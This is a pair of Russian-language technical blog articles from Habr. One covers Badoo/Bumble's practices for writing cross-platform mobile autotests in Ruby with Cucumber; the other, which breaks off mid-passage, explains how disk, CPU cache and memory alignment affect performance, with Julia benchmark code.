Приложениями Badoo и Bumble пользуются миллионы людей по всему миру, и мы стремимся доставлять им новую функциональность как можно быстрее. Но важно, чтобы высокий темп нашей работы не сказывался негативно на качестве работы приложений. В этой статье мы расскажем о роли автоматизации в наших процессах и поделимся практиками, которые позволяют быстро писать стабильные тесты.
Меня зовут Дмитрий Макаренко, я Mobile QA Engineer в Badoo и Bumble: занимаюсь тестированием новой функциональности вручную и покрытием её автотестами. В подготовке этой статьи мне помогал коллега Виктор Короневич: вместе мы делали доклад на конференции [Heisenbug](https://www.youtube.com/watch?v=6Du_1z8hvPQ).
Примеры, которые мы разберём в этой статье, актуальны как для тех, кто только начинает внедрять автоматизацию тестирования в своём проекте, так и для тех, кто уже активно её использует.
Начнём с короткого рассказа о процессах тестирования и фреймворке автоматизации в нашей компании.
Место автоматизации в наших процессах
-------------------------------------
Раньше за тестирование новой функциональности у нас отвечали команды мобильного тестирования: отдельно iOS- и Android-, и проводили тесты они вручную. А создание и поддержка end-to-end-тестов (именно о них и пойдёт речь в этой статье) находились в зоне ответственности выделенной команды автоматизации. При этом ручным тестированием занимались около 30 человек, а автоматизацией — десять. Последним, конечно, было сложно всё успевать: улучшать фреймворк, инфраструктуру и автоматизировать то, что тестируют руками больше 20 человек.
За последние два года процессы сильно изменились. Сегодня релиз новой функциональности невозможен без покрытия её тестами разных уровней, в том числе end-to-end-тестами (про это можно подробнее узнать из [доклада Катерины Спринсян](https://youtu.be/luUA9YU4Fuo)). Их теперь у нас создают и поддерживают команды мобильного тестирования. А команда автоматизации уделяет больше времени работе с фреймворком и инфраструктурой.
Вместе с изменением процессов изменились и требования к автоматизации. Нам важно иметь возможность писать тесты быстро, чтобы не задерживать релизы. При этом тесты должны быть стабильными. Мы постоянно стремимся улучшать эти показатели, и со временем у нас сложился набор практик, которые нам в этом помогают.
Прежде чем перейти к их описанию, скажу пару слов о нашем фреймворке, чтобы контекст примеров был понятен.
Фреймворк
---------
Наши приложения Badoo и Bumble — нативные. То есть Android-приложения разрабатываются одной командой на Kotlin и Java, а iOS- — другой командой на Swift и Objective C.
При этом функциональность Android- и iOS-приложений во многом схожа. Именно поэтому одним из главных критериев выбора фреймворка автоматизации для нас была возможность переиспользования сценариев. Руководствуясь этим, мы выбрали кросс-платформенный фреймворк для автоматизации Calabash. Мы пишем тесты на Ruby, а для написания сценариев пользуемся фреймворком Cucumber.
> Неважно, какой фреймворк вы используете. Мы обобщили наши рекомендации, чтобы вы тоже могли их применять.
>
>
Практика №1. Где и как писать проверки
--------------------------------------
Чтобы понять, где можно писать проверки, рассмотрим структуру тестов. Она состоит из трёх уровней.
**Первый уровень** – сценарий. Здесь сам тест написан на человекочитаемом языке Gherkin, описаны все необходимые действия и проверки.
**Второй уровень** — определение шагов. В соответствии с действиями или проверками с первого уровня ставится Ruby-код, который их выполняет.
**Третий** **уровень** — уровень страниц. Здесь описываются экраны нашего приложения и действия, которые мы можем на них совершить — например, получить текст выбранного элемента, нажать на выбранную кнопку и т. д.
Переходим к практике. У нас есть задача: создать проверку какого-либо элемента. Это слишком общая формулировка, поэтому рассмотрим конкретный пример. Это будет **проверка сообщения о пропущенном видеозвонке.**
Диалог с тестовым пользователемНачнём со сценария для проверки этого сообщения.
> В тексте сценария вы можете заметить аббревиатуру QAAPI. Это API, с помощью которого мы можем менять состояние системы во время тестирования. Например, можно отправлять сообщения или загружать фото профиля тестовым пользователям, используя обычные клиент-серверные запросы. Более подробно про QAAPI мы рассказывали в [этой статье](https://habr.com/ru/company/badoo/blog/528742/) и [докладе](https://youtu.be/OQmZbHv4fdE).
>
>
Сфокусируемся на шаге для проверки сообщения (последний шаг в примере кода).
```
Scenario: Missed Video Call message is displayed in Chat
Given users with following parameters
| role | name |
| primary_user | Dima |
| video_call_user | Lera |
And primary_user logs in
And primary_user receives a missed Video Call message from video_call_user via QaApi
When primary_user opens Chat with video_call_user
# Шаг для проверки сообщения о пропущенном видеозвонке
Then primary_user should have missed Video Call message from "Lera"
```
Определим, что нам необходимо проверить. Это текст сообщения и кнопка «Перезвонить». Разберём первый возможный подход.
```
Then(/^(?:[^"]*) should have missed Video Call message from "(.+)"$/) do |name|
Pages::ChatPage.new.await.verify_missed_video_call(name)
end
```
В этом примере на уровне определения шагов мы создаём объект класса ChatPage и вызываем метод await для ожидания загрузки нужного экрана. Потом вызываем метод verify\_missed\_video\_call, чтобы проверить отображение необходимых элементов.
На уровне страницы реализация этого метода выглядит следующим образом. Сначала мы формируем ожидаемый результат лексемы. Его мы берём из статического метода, объявленного в модуле CallLexemes, используя class << self технику:
```
expected = CallLexemes.missed_video_call_message(name)
```
Далее берём фактический результат с экрана:
```
actual = ui.element_text(VIDEO_CALL_MESSAGE)
```
**ui — объект, который предоставляет нам доступ к методам фреймворка**
И сравниваем ожидаемое значение с фактическим:
```
Assertions.assert_equal(expected, actual, "Missed Video Call message is incorrect")
```
В итоге у нас получается следующий метод:
```
def verify_missed_video_call(name)
expected = CallLexemes.missed_video_call_message(name)
actual = ui.element_text(VIDEO_CALL_MESSAGE)
Assertions.assert_equal(expected, actual, "Missed Video Call message is incorrect")
end
```
Вероятно, вы заметили ошибку. Разработчик метода для одной из платформ пропустил важную проверку кнопки «Перезвонить». Разработчик тестов для другой платформы в свою очередь эту проверку добавил и получил следующий метод:
```
def verify_missed_video_call(name)
expected = CallLexemes.missed_video_call_message(name)
actual = ui.element_text(VIDEO_CALL_MESSAGE)
Assertions.assert_equal(expected, actual, "Missed Video Call message is incorrect")
expected = CallLexemes::CALL_BACK_BUTTON
actual = ui.element_text(CALL_BACK_BUTTON)
Assertions.assert_equal(expected, actual, "Call back button text is incorrect")
end
```
Недостатки первого подхода:
1. Высокий риск ошибки. Конечно, сложно представить, что какие-то проверки могут быть пропущены в случае с двумя элементами, подобном нашему примеру. Но, когда речь идёт о проверке пяти или даже десяти и более элементов, риск того, что разработчик теста пропустит или неправильно реализует какую-либо проверку, увеличивается.
2. Дубликация кода. Как вы могли заметить, реализация проверок дублируется на разных платформах. Это замедляет разработку тестов.
Как же с этим бороться? Вместо того чтобы реализовывать проверки на уровне страниц, мы переносим их на уровень определения шагов:
```
Then(/^(?:[^"]*) should have missed Video Call message from "(.+)"$/) do |name|
page = Pages::ChatPage.new.await
expected = CallLexemes.missed_video_call_message(name)
actual = page.video_call_message_text
Assertions.assert_equal(expected, actual, "Missed Video Call message is incorrect")
expected = CallLexemes::CALL_BACK_BUTTON
actual = page.call_back_button_text
Assertions.assert_equal(expected, actual, "Call back button text is incorrect")
end
```
|
| |
И выделяем два новых метода на страницах. Один будет возвращать текст сообщения:
```
def video_call_message_text
ui.element_text(VIDEO_CALL_MESSAGE)
end
```
|
| |
А другой — текст кнопки:
```
def call_back_button_text
ui.element_text(CALL_BACK_BUTTON)
end
```
|
| |
Согласитесь, в подобных методах на странице уже очень сложно сделать ошибку, даже если элементов много. Кроме того, проверки, реализованные на уровне определения шагов, переиспользуются платформами — и мы избегаем дубликации кода тестов.
Подведём итоги этой практики. Мы рекомендуем:
* создавать проверки на уровне определения шагов;
* делать страницы простыми. То есть такими, чтобы классы страниц возвращали информацию о состоянии экрана приложения и не содержали реализаций проверок.
Обобщённые рекомендации:
* создавайте проверки на самом высоком уровне — там, где вы пишете тело теста;
* делайте объект тестирования простым (не смешивайте логику тестирования с самим объектом).
Практика №2. Автоматизация тестирования нескольких приложений
-------------------------------------------------------------
Поговорим о том, как подход из предыдущего примера помогает нам не только в работе с двумя платформами, но и в работе с двумя приложениями.
> Рекомендации из этого примера актуальны и при работе с одним приложением.
>
>
Задача, решение которой мы разберём в этом разделе: создание общей страницы чата для двух приложений, на примере Badoo и Bumble. Возникла она, когда разработчики создали общий компонент чата и использовали его в обоих приложениях. В тестах нам нужно было сделать так же.
Начали мы с того, что разделили экран чата на логические модули, а именно:
* верхнюю панель (toolbar);
* зону диалога (conversation);
* поле ввода (input source).
Диалог с тестовым пользователемЗону диалога мы разделили на модули поменьше, например для разных типов сообщений: текстовых, аудио, GIF-картинок и фото.
Диалог с тестовым пользователемМодуль поля ввода также состоит из более мелких модулей, таких как поля для отправки фотографий, текста, GIF-картинок и аудиосообщений.
Диалог с тестовым пользователемПосле этого мы создали структуру модулей, подобную той, которую вы видите на скриншоте ниже, для Android и для iOS.
После этого нам стало легче создать классы страниц чата в обоих приложениях. По сути, единственное различие заключается в использовании разных базовых страниц, потому что у приложений они немного отличаются.
Теперь мы просто подключаем к странице каждого приложения необходимые модули. Причём речь идёт только об актуальных для приложения модулей. В Badoo, например, это может быть сообщение о подарке, которого нет в Bumble:
Зато в Bumble есть другой тип сообщений, которого нет в Badoo, — реакции:
Наличие такого компонента позволит нам создать страницу чата в любом другом приложении, если оно появится в нашей компании, буквально за пару минут.
Для обоих приложений мы также используем одни и те же шаги. Здесь мы возвращаемся к методам получения текста сообщения о пропущенном видеозвонке и кнопки «Перезвонить». Они находятся в модуле для типа сообщения о видеозвонке.
```
module Chat
module Android
module Conversation
module Message
module VideoCall
VIDEO_CALL_MESSAGE = Locator.builder.id('notification_title').build
CALL_BACK_BUTTON = Locator.builder.id('notification_accept').build
def video_call_message_text
ui.element_text(VIDEO_CALL_MESSAGE)
end
def call_back_button_text
ui.element_text(CALL_BACK_BUTTON)
end
end
end
end
end
end
```
|
| |
Этот модуль подключается как для Bumble, так и для Badoo. То есть он написан один раз для каждой из платформ, а проверить сообщение в четырёх наших приложениях (Badoo для iOS и Android и Bumble для iOS и Android) можно с использованием всего одного шага. Так что написать новые тесты для проверки чата в разных приложениях не составляет большого труда.
Мы создаём подобные компоненты и в тех случаях, когда нам не требуется их переиспользовать в разных приложениях, например для экранов с большим количеством UI-элементов. Такой подход в одном приложении позволяет избежать появления в коде так называемых [God objects](https://wiki.c2.com/?GodClass) (больше информации [здесь](https://wiki.c2.com/?OneResponsibilityRule) и [здесь](https://wiki.c2.com/?CodeSmell)) классов с большим количеством свойств и методов. Поддерживать разбитые на модули страницы гораздо проще, так же как расширять их с появлением новой функциональности.
Подводя итоги этого примера, отметим, что использование компонентов помогает нам:
* создавать тесты для разных приложений, используя уже существующие шаги, и экономить на этом много времени;
* поддерживать и расширять классы страниц для экранов с большим количеством UI-элементов
Обобщённая рекомендация: для объектов с большим количеством свойств и методов создавать компоненты, состоящие из логически разделённых модулей.
Практика №3. Шаги для базовых действий
--------------------------------------
Начнём разбирать новый пример с того, что обозначим, какие действия мы считаем базовыми. Это, например, ожидание открытия страницы, верификация страницы, закрытие страницы или переход назад с какой-либо страницы. Мы называем их базовыми, потому что они актуальны практически для любой страницы наших приложений.
Задача, решение которой мы будем рассматривать: **реализовать базовые действия для разных страниц**.
Представим ситуацию: два тестировщика создали шаги для ожидания открытия страниц чата и профиля:
```
Then(/^primary_user waits for Chat Page$/) do
Pages::ChatPage.new.await
end
Then(/^primary_user is on Own Profile page$/) do
Pages::OwnProfile.new.await
end
```
|
| |
Мы видим здесь следующие проблемы:
* шаги называются немного по-разному, поэтому их сложно будет найти, когда нам понадобится использовать их в новых сценариях;
* реализация шагов отличается только классами объектов: ChatPage и OwnProfile. Учитывая, что экранов в наших приложениях намного больше, чем два, создание разных шагов для ожидания открытия каждого из них приведёт к дубликации большого количества кода.
Рассмотрим ещё пример с реализацией шагов для перехода назад с какой-либо страницы:
```
When(/^primary_user taps back on Connections Page$/) do
Pages::ConnectionsPage.new.await.tap_back
end
...
When(/^primary_user returns from Encounters page$/) do
Pages::EncountersPage.new.await.go_back
end
...
When(/^primary_user goes back from Chat Page$/) do
Pages::ChatPage.new.await.press_back
end
```
|
| |
Тут можно заметить ещё одну проблему: на страницах появились методы (tap\_back, go\_back, press\_back), которые отвечают за одно и то же действие, но называются по-разному. Это произошло потому, что разные люди добавили их в разные места репозитория.
Таким образом, общая проблема этих примеров — дубликация кода, которая существенно замедляет разработку тестов. Мы видим дублирование как в самих шагах, так и в реализации действий на страницах. Это затрудняет переиспользование шагов для базовых действий в разных тестах, так как запомнить все возможные вариации таких шагов практически невозможно.
Как решить эту проблему? Перейдём от простого подхода к более сложному, общему. Мы можем создать объект класса страницы, используя строку из параметра шага. Для этого мы сделали метод page\_object\_by.
```
Then(/^primary_user waits for (.*) [P|p]age$/) do |page_name|
page_object_by(page_name).await
end
```
|
| |
Реализация метода page\_object\_by выглядит следующим образом:
```
def page_object_by(page_name)
page_class = "#{page_name} page".split(' ').collect(&:capitalize).join
return Pages.const_get(page_class).new if Pages.const_defined?(page_class)
raise(NameError, "Unknown class #{page_class}. Actual page name: '#{page_name}'")
end
```
|
| |
Мы формируем имя класса из названия страницы, переданного в шаги. Потом, если у нас такой класс описан, то возвращаем объект этого класса. В противном случае — выбрасываем ошибку.
Таким образом, для ожидания открытия любой страницы нам нужно написать всего один шаг. Аналогичный подход мы используем и для всех остальных базовых действий. И это сильно упрощает разработку.
От дубликации методов для базовых действий на страницах мы также избавились, выделив общие методы, например press\_back.
```
When(/^primary_user goes back from (.*) [P|p]age$/) do |page_name|
page_object_by(page_name).await.press_back
end
```
|
| |
Реализация этого метода находится на страницах AndroidBumbleBase, IOSBumbleBase, AndroidBadooBase и IOSBadooBase, от которых наследуются классы остальных страниц в наших тестах. Стоит отметить, что это не совсем правильно. При таком подходе страницы, на которых нет кнопки «Назад», могут использовать метод нажатия на эту кнопку. Правильнее было бы выделить нажатие на кнопку «Назад» в отдельный модуль, например Navigation::Back, и добавить его на все необходимые страницы. Но мы не использовали подобный модуль, потому что нам пришлось бы добавлять его практически на все страницы в нашем проекте, — мы решили немного упростить себе жизнь.
Итак, в контексте этого примера мы рекомендуем:
* создавать общие шаги для базовых действий;
* создавать общие методы для реализации базовых действий на страницах (переход назад и т. д.).
> Впрошлом разделе мы рекомендовали создавать модули и переиспользовать их на страницах. А здесь говорим, что надо создавать методы на страницах. Может показаться, что мы немного противоречим сами себе. Но это не так.
>
> Если у вас действительно много методов на странице или если вам нужно переиспользовать код лишь на некоторых страницах, имеет смысл выделить модули и добавить их на необходимые страницы.
>
> Если же у вас есть действие, актуальное для всех страниц, следует выделить его в отдельный метод и определить в классе, являющемся основой для всех страниц в ваших тестах.
>
>
Обобщённая рекомендация:если у вас много однотипного кода, выделяйте общие методы.
Эта рекомендация может показаться очевидной, но мы хотим отметить важность её применения. Напомню, что у нас около 40 человек активно занимаются разработкой end-to-end-тестов. Нам было важно с самого начала выбрать правильный подход, чтобы избежать рефакторинга огромного количества однотипных шагов и методов в будущем.
Что мы узнали
-------------
Мы рассмотрели три примера решения различных задач, возникающих при создании автотестов. На их основании мы сформулировали следующие обобщенные рекомендации:
* выделяйте общие методы для переиспользования однотипного кода — как в шагах, так и в методах на страницах;
* создавайте проверки на самом высоком уровне — там, где вы пишете тело теста;
* делайте объект тестирования простым;
* создавайте компоненты, состоящие из логически разделённых модулей, для объектов с большим количеством свойств и методов.
Возможно, эти советы кому-то покажутся очевидными. Но мы хотим обратить ваше внимание на то, что применять их можно (и нужно) в разных ситуациях.
Во [второй части статьи](https://habr.com/ru/company/badoo/blog/547196/) мы разберём ещё четыре примера решения других задач, дополним список наших рекомендаций и поделимся доступом к тестовому проекту со всеми практиками. Оставайтесь с нами! | https://habr.com/ru/post/546188/ | null | ru | null |
# Что ученые должны знать о железе для написания быстрого кода
*[источник изображения](https://www.flickr.com/photos/153311384@N03/)*
Программирование сегодня используется во многих областях науки, где отдельным ученым часто приходится собственноручно писать код для своих проектов. Для большинства ученых, однако, компьютерные науки не являются их областью знаний; они изучили программирование по необходимости. Я считаю себя одним из них. Хотя мы можем быть достаточно хорошо знакомы с программированием со стороны софта, мы редко имеем даже базовое представление о том, как железо влияет на производительность кода.
Цель этого урока — дать непрофессиональным программистам *краткий* обзор особенностей современного оборудования, которые нужно понимать, чтобы писать быстрый код. Это будет дистилляция того, что мы узнали за последние несколько лет. Этот учебник будет использовать Julia, потому что она позволяет легко продемонстрировать эти относительно низкоуровневые соображения на высокоуровневом интерактивном языке.
### Это не руководство по языку программирования Julia
Чтобы писать быстрый код, вы должны сначала понять свой язык программирования и его особенности. Но это не руководство по языку программирования Julia. Я рекомендую прочитать раздел [советы по производительности](https://docs.julialang.org/en/v1/manual/performance-tips/) из документации Julia.
### Это не объяснение конкретных структур данных или алгоритмов
Помимо знания вашего языка, вы также должны понимать свой собственный код, чтобы сделать его быстрым. Вы должны понять идею, лежащую в основе нотации big-O, почему некоторые алгоритмы работают быстрее других, и как различные структуры данных работают внутри. Не зная, что такое "массив", как можно оптимизировать код, использующий массивы?
Это тоже выходит за рамки данной статьи. Однако я бы сказал, что, как минимум, программист должен иметь представление о том:
* Как двоичное целое число представляется в памяти
* Как число с плавающей запятой представлено в памяти (изучение этого также необходимо для понимания вычислительных ошибок от операций с плавающей запятой, что является обязательным при выполнении научного программирования)
* Расположение в памяти "строк", включая кодировку ASCII и UTF-8
* Основы того, как структурирован "массив", и в чем разница между плотным массивом, например, целых чисел и массивом ссылок на объекты
* Принципы, лежащие в основе того, как работают `Dict` (т. е. хэш-таблица) и `Set`
Кроме того, я бы также рекомендовал ознакомиться с такими штуками как:
* Кучи
* Двусторонние очереди
* Кортежи
### Это не учебник по бенчмаркингу вашего кода
Чтобы написать быстрый код *на практике*, необходимо его профилировать, чтобы найти узкие места, где ваша машина проводит большую часть времени. Необходимо сравнить различные функции и подходы, чтобы найти наиболее быстрые на практике. У Джулии (и других языков) есть инструменты именно для этой цели, но я не буду на них заостряться.
Содержание
----------
* [Минимизируйте записи на диск](#minimize-disk-writes)
* [CPU cache](#cpu-cache)
* [Выравнивание](#alignment)
* [Ассемблерный код](#inspect-generated-assembly)
* [Минимизируйте выделения памяти](#minimize-allocations)
* [Используйте SIMD векторизации](#exploit-simd-vectorization)
* [Структура массивов](#struct-of-arrays)
* [Используйте специализированные CPU инструкции](#use-specialized-cpu-instructions)
* [Inline для маленьких функций](#inline-small-functions)
* [Разворачивайте циклы](#unroll-tight-loops)
* [Избегайте непредсказуемых ветвей](#avoid-unpredictable-branches)
* [Многопоточность](#multithreading)
* [GPUs](#gpus)
Прежде чем начать, следует установить пакеты:
```
# using Pkg
# Pkg.add("BenchmarkTools")
# Pkg.add("StaticArrays")
using StaticArrays
using BenchmarkTools
# Print median elapsed time of benchmark
function print_median(trial)
println("Median time: ", BenchmarkTools.prettytime(median(trial).time))
end;
```
Базовая структура компьютерного оборудования
--------------------------------------------
Начнем с упрощенной ментальной модели компьютера. Далее, будем добавлять детали к нашей модели по мере необходимости.
![$ [CPU] \leftrightarrow [RAM] \leftrightarrow [DISK] $](https://habrastorage.org/getpro/habr/formulas/22b/b64/d64/22bb64d64b0dc5d85ed1826b5fdc7f4b.svg)
На этой простой диаграмме стрелки представляют поток данных в любом направлении. На диаграмме показаны три важные части компьютера:
* Центральный процессор (CPU) представляет собой чип размером со штамп. Именно здесь на самом деле происходят все вычисления — в мозгу компьютера.
* Оперативная память (Random access memory, ОЗУ, или просто "память") — это кратковременная память компьютера. Для поддержания этой памяти требуется электроэнергия, и она теряется при выключении компьютера. Оперативная память служит временным хранилищем данных между диском и процессором. Большая часть времени, затрачиваемого на "загрузку" различных приложений и операционных систем, фактически тратится на перемещение данных с диска в оперативную память и распаковку их там. Типичный потребительский ноутбук имеет около  бит оперативной памяти.
* Диск является элементом хранения данных. Данные на диске сохраняются после отключения питания, поэтому диск содержит долговременную память компьютера. Он также намного дешевле в пересчете на гигабайт, чем оперативная память. Потребительский ПК имеет около  бит дискового пространства.
Minimize disk writes
--------------------
Даже при быстром запоминающем устройстве, таком как твердотельный накопитель (SSD) или даже более новая технология [Optane](https://habr.com/ru/company/intel/blog/370729/), диски во много раз, обычно в тысячи раз, медленнее, чем оперативная память. В частности, медленно происходит переключение на новую точку диска для чтения или записи. Как следствие, запись большого куска данных на диск происходит гораздо быстрее, чем запись множества маленьких кусков.
Поэтому для быстрой работы кода необходимо держать рабочие данные в оперативной памяти и максимально ограничить запись на диск.
Следующий пример служит для иллюстрации разницы в скорости: Первая функция открывает файл, получает доступ к одному байту из файла и снова закрывает его. Вторая функция случайным образом получает доступ к 1 000 000 целых чисел из оперативной памяти.
```
# Open a file
function test_file(path)
open(path) do file
# Go to 1000'th byte of file and read it
seek(file, 1000)
read(file, UInt8)
end
end
@time test_file("README.md")
# Randomly access data N times
function random_access(data::Vector{UInt}, N::Integer)
n = rand(UInt)
mask = length(data) - 1
@inbounds for i in 1:N
n = (n >>> 7) ⊻ data[n & mask + 1]
end
return n
end
data = rand(UInt, 2^24)
@time random_access(data, 1000000);
# 0.000781 seconds (15 allocations: 992 bytes)
# 0.095022 seconds
```
Бенчмаркинг этого немного сложен, потому что *первый* вызов будет включать в себя время компиляции обеих функций. А во время *второго* вызова ваша операционная система сохранит копию файла (или *кэширует* файл) в оперативной памяти, что сделает поиск файла почти мгновенным. Чтобы правильно рассчитать время, запустите это один раз, затем *измените файл* на другой, который не был недавно открыт, и запустите это дело снова. Так что на самом деле мы должны обновить нашу схему компьютера:
![$ [CPU] \leftrightarrow [RAM] \leftrightarrow [DISK\,CACHE] \leftrightarrow [DISK] $](https://habrastorage.org/getpro/habr/formulas/8fe/5ac/bc5/8fe5acbc54147290cac2926f171516e6.svg)
На моем компьютере поиск одного байта в файле (включая открытие и закрытие файла) занимает около 781 мкс, а доступ к 1 000 000 целых чисел из памяти занимает 95 миллисекунд. Таким образом, оперативная память работает примерно в 8000 раз быстрее, чем диск.
При работе с данными, слишком большими, чтобы поместиться в оперативную память, загружайте данные по частям, например по одной строке за раз, и работайте с ними. Таким образом, вам не нужен *произвольный доступ* к вашему файлу с тратами на дополнительные поиски, а только последовательный доступ. И вы *должны* стремиться написать свою программу так, чтобы любые входные файлы считывались только *один раз*, а не несколько.
Если вам нужно читать файл байт за байтом, например при синтаксическом анализе файла, большого прироста скорости можно добиться с помощью буферизации файла. При буферизации вы считываете большие куски, *буферы*, в память, а когда вы хотите прочитать из файла, вы проверяете, находится ли он в буфере. Если нет, считайте еще один большой кусок в буфер из файла. Этот подход минимизирует чтение с диска. Однако и ваша операционная система, и ваш язык программирования будут использовать кэши, однако, иногда [необходимо вручную буферизировать ваши файлы](https://github.com/JuliaLang/julia/issues/34195).
CPU cache
---------
Оперативная память быстрее диска, а процессор, в свою очередь, быстрее оперативной памяти. Процессор тикает, как часы, со скоростью около 3 ГГц, то есть 3 миллиарда тиков в секунду. Один "тик" этих часов называется тактовым циклом. Хотя это не совсем так, вы можете себе представить, что каждый цикл процессор выполняет одну простую команду, называемую инструкцией процессора, которая выполняет одну операцию над небольшим фрагментом данных. Тогда тактовая частота может служить ориентиром для других таймингов в компьютере. Стоит понимать, что за один такт фотон пройдет только около 10 см, и это ставит барьер тому, насколько быстро может работать память (которая расположена на некотором расстоянии от процессора). На самом деле, современные компьютеры настолько быстры, что существенным узким местом в их скорости является задержка, вызванная временем, необходимым для движения электричества по проводам внутри компьютера.
В этом масштабе чтение из оперативной памяти занимает около 100 тактов. Аналогично тому, как медлительность дисков может быть уменьшена путем копирования данных в более быструю оперативную память, данные из оперативной памяти копируются в меньший чип памяти непосредственно на процессоре, называемый *кэш*. Кэш быстрее, потому что он физически находится на чипе процессора (уменьшая путевые задержки), а также потому, что он использует более быстрый тип оперативной памяти, статическую оперативную память, вместо более медленной (но более дешевой в производстве) динамической оперативной памяти. Поскольку он должен быть размещен на процессоре, ограничивается его размер, и поскольку он более дорог в производстве, типичный кэш процессора содержит только около  бит, примерно в 1000 раз меньше, чем оперативная память. На самом деле существует несколько уровней кэша процессора, но здесь мы упрощаем его и просто называем "кэш" как одну единственную вещь:
![$ [CPU] \leftrightarrow [CPU\,CACHE] \leftrightarrow [RAM] \leftrightarrow [DISK\,CACHE] \leftrightarrow [DISK] $](https://habrastorage.org/getpro/habr/formulas/7d9/524/ef1/7d9524ef11a0c717854c241b67eba35c.svg)
Когда процессор запрашивает часть данных из оперативной памяти, скажем, один байт, он сначала проверяет, находится ли память уже в кэше. Если да, то он будет читать оттуда. Это происходит намного быстрее чем доступ к оперативной памяти — обычно, всего за несколько тактов. Если нет, то получается *промах кэша*, и ваша программа будет тормозиться в течение десятков наносекунд, пока ваш компьютер копирует данные из оперативной памяти в кэш.
Невозможно, за исключением языков очень низкого уровня, вручную управлять кэшем процессора. Вместо этого вы должны убедиться, что эффективно используете свой кэш.
Эффективное использование кэша сводится к *локальности*, временной и пространственной:
* Под *временной локальностью* я подразумеваю, что данные, к которым вы недавно обращались, скорее всего, уже находятся в кэше. Поэтому, если вы должны получить доступ к фрагменту памяти несколько раз, убедитесь, что вы делаете это близко друг к другу во времени.
* Под *пространственной локальностью* я подразумеваю, что вы должны получать доступ к данным из адресов памяти, расположенных близко друг к другу. Ваш процессор не *просто* копирует запрошенные байты в кэш. Вместо этого он всегда будет копировать больший кусок данных (обычно 512 последовательных битов).
Из этой информации можно вывести ряд простых трюков для повышения производительности:
* Используйте как можно меньше памяти. Когда ваши данные занимают меньше памяти, более вероятно, что ваши данные будут находиться в кэше. Помните, что процессор может выполнить около 100 небольших операций за время, потраченное впустую на один промах кэша.
* При чтении данных из оперативной памяти считывайте их последовательно, так чтобы у вас в основном были следующие данные, которые вы будете использовать в кэше, а не в случайном порядке. На самом деле современные процессоры будут определять, читаете ли вы данные последовательно, и упреждая выбирать предстоящие данные, то есть извлекать следующий фрагмент во время обработки текущего фрагмента, уменьшая задержки, вызванные пропусками кэша.
Чтобы проиллюстрировать это, давайте сравним время, затраченное на функцию `random_access` приведенную выше, с новой функцией `linear_access`. Эта функция выполняет те же вычисления, что и `random_access`, но использует `i` вместо `n` для доступа к массиву, поэтому она обращается к данным линейным способом. Следовательно, единственное различие — это шаблон доступа к памяти.
Обратите внимание на большое расхождение во времени.
```
function linear_access(data::Vector{UInt}, N::Integer)
n = rand(UInt)
mask = length(data) - 1
for i in 1:N
n = (n >>> 7) ⊻ data[i & mask + 1]
end
return n
end
print_median(@benchmark random_access(data, 4096))
print_median(@benchmark linear_access(data, 4096))
# Median time: 408.149 μs
# Median time: 1.864 μs
```
Это также имеет последствия для ваших структур данных. Хэш-таблицы, такие как `Dict` и `Set`, по своей сути неэффективны в кэше и почти всегда вызывают промахи кэша, в то время как массивы — нет.
Многие из оптимизаций в этом документе косвенно влияют на использование кэша, поэтому это важно иметь в виду.
Alignment
---------
Как уже упоминалось, ваш процессор будет перемещать 512 последовательных бит (64 байта) в основную оперативную память и из нее в кэш одновременно. Эти 64 байта называются *строкой кэша*. Вся ваша основная память сегментирована на строки кэша. Например, адреса памяти от 0 до 63 — это одна строка кэша, адреса от 64 до 127-следующая, от 128 до 191-следующая и так далее. Ваш процессор может запрашивать только одну из этих строк из памяти, а не, например, 64 байта с адреса 30 до 93.
Это означает, что некоторые структуры данных могут пересекать границы между строками кэша. Если я запрошу 64-битное (8 байтовое) целое число по адресу 60, процессор должен сгенерировать два запроса памяти (а именно, чтобы получить строки кэша 0-63 и 64-127), а затем получить целое число из обеих строк кэша, теряя время.
Время, потраченное впустую, может быть значительным. В ситуации, когда доступ к кэш-памяти оказывается узким местом, замедление может приблизиться к двукратному. В следующем примере я использую указатель для повторного доступа к массиву с заданным смещением от границы строки кэша. Если смещение находится в диапазоне `0:56`, то все целые числа помещаются в одну строку кэша, и функция работает быстро. Если смещение находится в `57:63`, то все целые числа будут располагаться между строками кэша.
```
function alignment_test(data::Vector{UInt}, offset::Integer)
# Jump randomly around the memory.
n = rand(UInt)
mask = (length(data) - 9) ⊻ 7
GC.@preserve data begin # protect the array from moving in memory
ptr = pointer(data)
iszero(UInt(ptr) & 63) || error("Array not aligned")
ptr += (offset & 63)
for i in 1:4096
n = (n >>> 7) ⊻ unsafe_load(ptr, (n & mask + 1) % Int)
end
end
return n
end
data = rand(UInt, 256 + 8);
print_median(@benchmark alignment_test(data, 0))
print_median(@benchmark alignment_test(data, 60))
# Median time: 6.707 μs
# Median time: 12.680 μs
```
В приведенном выше примере короткий вектор легко помещается в кэш. Если мы увеличим размер вектора, то заставим кэш промахнуться. Обратите внимание, что эффект несоосности затмевает время, потраченное на промахи кэша:
```
data = rand(UInt, 1 << 24 + 8)
print_median(@benchmark alignment_test(data, 10))
print_median(@benchmark alignment_test(data, 60))
# Median time: 404.351 μs
# Median time: 484.438 μs
```
К счастью, компилятор делает несколько трюков, чтобы уменьшить вероятность того, что вы получите доступ к несогласованным данным. Во-первых, Джулия (и другие компилируемые языки) всегда помещает новые объекты в память на границах строк кэша. Когда объект помещается прямо на границе, мы говорим, что он выровнен. Джулия также выравнивает начало больших массивов:
```
memory_address = reinterpret(UInt, pointer(data))
@assert iszero(memory_address % 64)
```
Обратите внимание, что если начало массива выровнено, то для 1-, 2-, 4- или 8-байтовых объектов невозможно пересечь границы строк кэша, и все будет выровнено.
По-прежнему было бы возможно, например, чтобы 7-байтовый объект был смещен в массиве. В массиве 7-байтовых объектов 10-й объект будет помещен со смещением байта , и объект перешагнет строку кэша. Однако компилятор обычно не допускает структуру с нестандартным размером. Определим 7-байтовую структуру:
```
struct AlignmentTest
a::UInt32 # 4 bytes +
b::UInt16 # 2 bytes +
c::UInt8 # 1 byte = 7 bytes?
end
```
Затем мы можем использовать интроспекцию Джулии, чтобы получить относительное положение каждого из трех целых чисел в объекте `AlignmentTest` в памяти:
```
function get_mem_layout(T)
for fieldno in 1:fieldcount(T)
println("Name: ", fieldname(T, fieldno), "\t",
"Size: ", sizeof(fieldtype(T, fieldno)), " bytes\t",
"Offset: ", fieldoffset(T, fieldno), " bytes.")
end
end
println("Size of AlignmentTest: ", sizeof(AlignmentTest), " bytes.")
get_mem_layout(AlignmentTest)
# Size of AlignmentTest: 8 bytes.
# Name: a Size: 4 bytes Offset: 0 bytes.
# Name: b Size: 2 bytes Offset: 4 bytes.
